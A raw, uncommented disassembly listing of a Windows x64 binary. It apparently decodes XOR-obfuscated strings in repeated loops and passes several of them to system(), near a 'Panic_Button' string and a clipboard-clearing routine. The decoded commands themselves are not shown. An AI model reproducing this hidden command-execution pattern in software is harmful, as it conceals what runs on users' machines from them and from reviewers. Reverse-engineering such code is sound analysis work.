add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x2c
jl 0x140061f30
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x64]
mov byte [rbp - 0x4b], 0
lea rcx, [rbp - 0x4b]
call fcn.140054b20
movzx ecx, byte [rax + 4]
test cl, cl
je 0x140061f9b
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor cl, 0x38
mov byte [rax + 4], cl
mov rdx, rax
lea rcx, [rbp + 0x14a8]
call fcn.1400719a0
lea rdx, [rbp + 0x1328]
mov byte [rbp - 0x4a], 0
lea rcx, [rbp - 0x4a]
mov rbx, rax
call fcn.140054af0
mov r10, rax
cmp byte [rax + 0x1d], 0
je 0x140062124
xor r8d, r8d
cmp edi, 2
jl 0x1400620e5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140061ff0
cmp r8d, 0x1e
jge 0x140062124
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x1400620f0
mov rdx, r10
lea rcx, [rbp + 0x14c8]
call fcn.1400719a0
mov r8, rbx
lea rcx, [rbp + 0x27c0]
mov rdx, rax
call fcn.140072110
lea rcx, [rbp + 0x14c8]
call fcn.140071940
lea rcx, [rbp + 0x14a8]
call fcn.140071940
lea rdx, [rbp + 0x144]
mov byte [rbp - 0x49], 0
lea rcx, [rbp - 0x49]
call fcn.140054b40
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140062192
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor cl, 0x39
mov byte [rax + 5], cl
mov rdx, rax
lea rcx, [rbp + 0x14e8]
call fcn.1400719a0
lea rdx, [rbp + 0x1348]
mov byte [rbp - 0x48], 0
lea rcx, [rbp - 0x48]
mov rbx, rax
call fcn.140054af0
mov r10, rax
cmp byte [rax + 0x1d], 0
je 0x140062324
xor r8d, r8d
cmp edi, 2
jl 0x1400622e5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x1400621f0
cmp r8d, 0x1e
jge 0x140062324
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x1400622f0
mov rdx, r10
lea rcx, [rbp + 0x1508]
call fcn.1400719a0
mov r8, rbx
lea rcx, [rbp + 0x2800]
mov rdx, rax
call fcn.140072110
lea rcx, [rbp + 0x1508]
call fcn.140071940
lea rcx, [rbp + 0x14e8]
call fcn.140071940
lea rdx, [rbp + 0x14c]
mov byte [rbp - 0x47], 0
lea rcx, [rbp - 0x47]
call fcn.140054b60
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140062392
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor cl, 0x39
mov byte [rax + 5], cl
mov rdx, rax
lea rcx, [rbp + 0x1528]
call fcn.1400719a0
lea rdx, [rbp + 0x1368]
mov byte [rbp - 0x46], 0
lea rcx, [rbp - 0x46]
mov rbx, rax
call fcn.140054af0
mov r10, rax
cmp byte [rax + 0x1d], 0
je 0x140062524
xor r8d, r8d
cmp edi, 2
jl 0x1400624e5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x1400623f0
cmp r8d, 0x1e
jge 0x140062524
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x1400624f0
mov rdx, r10
lea rcx, [rbp + 0x1548]
call fcn.1400719a0
mov r8, rbx
lea rcx, [rbp + 0x2820]
mov rdx, rax
call fcn.140072110
lea rcx, [rbp + 0x1548]
call fcn.140071940
lea rcx, [rbp + 0x1528]
call fcn.140071940
lea rdx, [rbp + 0x154]
mov byte [rbp - 0x45], 0
lea rcx, [rbp - 0x45]
call fcn.140054b80
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140062592
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor cl, 0x39
mov byte [rax + 5], cl
mov rdx, rax
lea rcx, [rbp + 0x1568]
call fcn.1400719a0
lea rdx, [rbp + 0x1388]
mov byte [rbp - 0x44], 0
lea rcx, [rbp - 0x44]
mov rbx, rax
call fcn.140054af0
mov r10, rax
cmp byte [rax + 0x1d], 0
je 0x140062724
xor r8d, r8d
cmp edi, 2
jl 0x1400626e5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x1400625f0
cmp r8d, 0x1e
jge 0x140062724
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x1400626f0
mov rdx, r10
lea rcx, [rbp + 0x1588]
call fcn.1400719a0
mov r8, rbx
lea rcx, [rbp + 0x2840]
mov rdx, rax
call fcn.140072110
lea rcx, [rbp + 0x1588]
call fcn.140071940
lea rcx, [rbp + 0x1568]
call fcn.140071940
lea rdx, [rbp + 0x15c]
mov byte [rbp - 0x43], 0
lea rcx, [rbp - 0x43]
call fcn.140054ba0
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140062792
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor cl, 0x39
mov byte [rax + 5], cl
mov rdx, rax
lea rcx, [rbp + 0x15a8]
call fcn.1400719a0
lea rdx, [rbp + 0x13a8]
mov byte [rbp - 0x42], 0
lea rcx, [rbp - 0x42]
mov rbx, rax
call fcn.140054af0
mov r10, rax
cmp byte [rax + 0x1d], 0
je 0x140062924
xor r8d, r8d
cmp edi, 2
jl 0x1400628e5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x1400627f0
cmp r8d, 0x1e
jge 0x140062924
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1e
jl 0x1400628f0
mov rdx, r10
lea rcx, [rbp + 0x15c8]
call fcn.1400719a0
mov r8, rbx
lea rcx, [rbp + 0x2860]
mov rdx, rax
call fcn.140072110
lea rcx, [rbp + 0x15c8]
call fcn.140071940
lea rcx, [rbp + 0x15a8]
call fcn.140071940
lea rdx, [rbp + 0x1858]
mov byte [rbp - 0x41], 0
lea rcx, [rbp - 0x41]
call fcn.140054a30
mov r10, rax
cmp byte [rax + 0x21], 0
je 0x140062ad4
xor r8d, r8d
cmp edi, 2
jl 0x140062a95
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x20
jl 0x1400629a0
cmp r8d, 0x22
jge 0x140062ad4
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x22
jl 0x140062aa0
mov rdx, r10
lea rcx, [rbp + 0x2880]
call fcn.1400719a0
lea rcx, [rbp + 0x27c0]
call fcn.140071930
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x2880]
call fcn.140071940
lea rcx, [rbp + 0x2860]
call fcn.140071940
lea rcx, [rbp + 0x2840]
call fcn.140071940
lea rcx, [rbp + 0x2820]
call fcn.140071940
lea rcx, [rbp + 0x2800]
call fcn.140071940
lea rcx, [rbp + 0x27c0]
call fcn.140071940
call fcn.140057370
cmp byte [0x14008a0c9], 1
jne 0x140062b65
xor ecx, ecx
call fcn.1400065f0
test al, al
je 0x140062b65
lea rcx, str.Panic_Button
call fcn.140013150
cmp byte [0x14008ae2b], 0
je 0x14006633e
movss xmm1, dword [0x14007f870]
lea rcx, [rbp + 0x2d8]
movaps xmm2, xmm14
call fcn.140002a20
lea rdx, [rbp + 0x12c8]
mov byte [rbp - 0x40], 0
lea rcx, [rbp - 0x40]
mov rbx, rax
call fcn.14006f8b0
mov r10, rax
cmp byte [rax + 0x1b], 0
je 0x140062d04
xor r8d, r8d
cmp edi, 2
jl 0x140062cc5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x18
jl 0x140062bd0
cmp r8d, 0x1c
jge 0x140062d04
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1c
jl 0x140062cd0
mov rdx, rbx
mov rcx, r10
call fcn.1400390d0
test al, al
je 0x140066315
lea rdx, [rbp + 0x2370]
mov byte [rbp - 0x3f], 0
lea rcx, [rbp - 0x3f]
call fcn.140054670
mov r10, rax
cmp byte [rax + 0x5e], 0
je 0x140062e94
xor r8d, r8d
cmp edi, 2
jl 0x140062e55
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x58
jl 0x140062d60
cmp r8d, 0x5f
jge 0x140062e94
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x5f
jl 0x140062e60
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x22c0]
mov byte [rbp - 0x3e], 0
lea rcx, [rbp - 0x3e]
call fcn.1400546e0
mov r10, rax
cmp byte [rax + 0x48], 0
je 0x140063014
xor r8d, r8d
cmp edi, 2
jl 0x140062fd5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp r8d, 0x48
jl 0x140062ee0
cmp r8d, 0x49
jge 0x140063014
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x49
jl 0x140062fe0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140063035
call qword [sym.imp.USER32.dll_EmptyClipboard]
call qword [sym.imp.USER32.dll_CloseClipboard]
lea rdx, [rbp + 0x15e8]
mov byte [rbp - 0x3d], 0
lea rcx, [rbp - 0x3d]
call fcn.1400545e0
mov r10, rax
cmp byte [rax + 0x1f], 0
je 0x1400631b4
cmp edi, 2
jl 0x14006316f
movdqa xmmword [rbp + 0x810], xmm11
xor edx, edx
mov r8d, dword [rbp + 0x810]
mov rcx, rax
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add edx, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
pmulld xmm0, xmm9
psubd xmm2, xmm0
movd xmm0, r8d
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm3, xmm0
movd xmm0, r8d
andps xmm3, xmm8
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm3, xmm0
movd dword [rcx - 4], xmm3
cmp edx, 0x20
jl 0x140063080
jmp 0x1400631b4
mov r9, r10
xor r8d, r8d
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, dl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x20
jl 0x140063180
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x1ff0]
mov byte [rbp - 0x3c], 0
lea rcx, [rbp - 0x3c]
call fcn.140054600
mov r10, rax
cmp byte [rax + 0x32], 0
je 0x140063334
xor r8d, r8d
cmp edi, 2
jl 0x1400632f5
movdqa xmmword [rbp + 0x810], xmm11
mov rcx, rax
mov edx, dword [rbp + 0x810]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm7
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
paddd xmm3, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
add r8d, 8
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
